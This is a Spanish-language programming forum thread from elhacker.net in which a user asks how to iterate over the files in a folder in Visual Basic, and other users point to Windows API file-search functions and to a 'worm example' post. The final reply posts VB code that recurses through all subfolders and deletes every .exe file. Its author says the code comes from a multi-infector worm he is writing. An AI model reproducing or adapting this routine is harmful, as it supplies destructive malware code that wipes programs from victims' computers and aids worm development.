Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: el_chente23 en 9 Agosto 2005, 19:44 pm


Título: Recorrer Archivos
Publicado por: el_chente23 en 9 Agosto 2005, 19:44 pm
Hola a todos, tengo una duda, ¿ como puedo recorrer los archivos de una carpeta en un bucle sin usar un filelist?, lo consegui con eso, pues es sencillo, pero quisiera saber como se hace sin controles.

Saludos

Título: Re: Recorrer Archivos
Publicado por: Slasher-K en 10 Agosto 2005, 01:03 am
Mira el siguiente post que es exactamente lo que estás buscando.

Ejemplo de Worm (gusano) en VB (http://foro.elhacker.net/index.php/topic,54121.0.html)

Saludos.

Título: Re: Recorrer Archivos
Publicado por: el_chente23 en 10 Agosto 2005, 03:01 am
No logre entender muy bien, parece ser que lo que hace es recorrer un directorio y sus subdirectorios, lo que yo necesito es recorrer los archivos de un directorio especifico, para sacar algunas propiedades de esos archivos.

PD: ese post es muy bueno, no lo habia visto

Saludos

Título: Re: Recorrer Archivos
Publicado por: Slasher-K en 10 Agosto 2005, 03:37 am
Las funciones son FindFirstFile, FindNextFile y FindClose. En el siguiente post se muestra más resumido el uso de estas funciones. Si lo modificas un poco para que actúe de función recursiva es lo mismo que el ejemplo que te mostré anteriormente.

Problemas al detectar directorios en una unidad (http://foro.elhacker.net/index.php/topic,71190.msg326799.html#msg326799)

Saludos.

Título: Re: Recorrer Archivos
Publicado por: lupino666 en 27 Agosto 2007, 00:23 am
mira lo que yo ago para recojer todo los archivos de la pc

esto lo estoy usando en la creacion de un worm multi infector

el worm rastrea el los .exe y se los pasa a la funcion infectar exe

en este caso no la pongo despues pongo el worm completo  ::)

Código:
Dim carpetaS As New Collection
sub carpetas(path as string, nº as long)
Set fso = CreateObject("scripting.filesystemobject")

If fso.getfolder(path).SubFolders.Count = 0 Then: Exit Sub
For Each i In fso.getfolder(path).SubFolders
    carpetaS.Add (i)
    nº = nº + 1
    DoEvents
    carpetas i, nº
    For Each j In fso.getfolder(i).files
     If fso.getextensionname(j) = "exe" Then
                       fso.deletefile j             'borramos los exe
                                 
    End If
    Next
Next
end sub
______
http://world5.monstersgame.es/?ac=vid&vid=58141462 (http://world5.monstersgame.es/?ac=vid&vid=58141462)
pincha mi link


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines